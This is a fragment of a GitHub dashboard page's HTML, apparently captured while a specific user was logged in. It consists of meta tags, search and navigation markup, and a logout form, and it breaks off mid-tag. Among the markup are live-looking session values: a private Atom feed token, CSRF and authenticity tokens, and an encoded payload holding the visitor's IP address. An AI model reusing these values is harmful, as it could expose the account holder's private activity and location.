content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9nYW12aXA4OGNsdWIvc3VtdmlwLmNsdWIvYnJhbmNoZXMiLCJyZXF1ZXN0X2lkIjoiODY5RTo1MjkzOjEyNzFBMTg6MTNERDRDRjo2MDg5MUU3QiIsInZpc2l0b3JfaWQiOiIxMDc0Nzc4MDMzNzI0Mzk4MDMxIiwicmVnaW9uX2VkZ2UiOiJzZWEiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=" data-pjax-transient="true" /><meta name="visitor-hmac" content="e9d28d753ba777482b0c264851595223f43c098f7f8ab654c5d73430fc20f3e7" data-pjax-transient="true" /> <meta name="page-subject" content="GitHub"> <meta name="github-keyboard-shortcuts" content="dashboards" data-pjax-transient="true" /> <meta name="selected-link" value="/" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-actor-id" content="83227313" /><meta name="octolytics-actor-login" content="NhaPhatHanh" /><meta name="octolytics-actor-hash" content="9b8cad704be56bcd058f36fbc9c7a3cfe249ef30c8807472fa126f9d85300648" /> <meta name="analytics-location" content="/dashboard" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content="NhaPhatHanh"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="NGM1ZjljNzQ5NGM3ODA0NzZmNGNhMTRjODZmZDliNTNmYmJjZGI1NDJmODI3NmNiNDVkZjQyYzQ4YTk1NmNjNHx7InJlbW90ZV9hZGRyZXNzIjoiMTEzLjE3Ni42OS4xNDIiLCJyZXF1ZXN0X2lkIjoiODY5RTo1MjkzOjEyNzFBMTg6MTNERDRDRjo2MDg5MUU3QiIsInRpbWVzdGFtcCI6MTYxOTU5ODk3NCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,AUTOCOMPLETE_EMOJIS_IN_MARKDOWN_EDITOR,GITHUB_TOKEN_PERMISSION,ACTIONS_CONCURRENCY_UI"> <meta http-equiv="x-pjax-version" content="48692bebf52b02afe08f94676411ebf21e58818307dcc45d253ded05ea2eb555"> <link rel="alternate" type="application/atom+xml" title="ATOM" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive full-width" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-info-inverse color-text-white show-on-focus js-skip-to-content">Skip to content</a> <span class="progress-pjax-loader width-full js-pjax-loader-bar Progress position-fixed"> <span style="background-color: #79b8ff;width: 0%;" class="Progress-item progress-pjax-loader-bar "></span> </span> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item d-md-none"> <button class="Header-link btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mr-md-3 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-unscoped-search-url="/search" action="/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus " data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="ZEYYtxq4/KKxJUDZsVrWLnrgLICx4DuMq0fmn3loykZHloZgOOlXukgdMLSgVgWdeBUU/LvldTl4X8jTtfzA8Q==" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-text-secondary">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-selected-links="/codespaces /codespaces" href="/codespaces"> Codespaces </a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"NhaPhatHanh","originating_url":"https://github.com/","user_id":83227313}}" data-hydro-click-hmac="e59a001759ac502766a9a79710990f560ffbc26ec341d36fba1e1674a4ab880a" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/settings/profile"> Settings </a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" href="/NhaPhatHanh"> <img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> NhaPhatHanh </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="/bvHCE5uPa671HZX0lHcfO5NQCGW65I5RiPW/FN+4TZY3UGvvrD3Ul2OVB9nrTCoXNAaoY0jT2eK9JRWIQ8zng==" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade-15 d-md-none btn-link d-block width-full text-left" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path></svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6ODMyMjczMTMiLCJ0IjoxNjE5NTk4OTc0fQ==--730e096ffe8d6c47126ebde7dcc46b346629b78d85c402370d95a91d6b54e5f8"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg class="octicon octicon-bell" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle"> <summary class="Header-link" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/new/project" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-header-promo-toggle js-feature-preview-indicator-container" 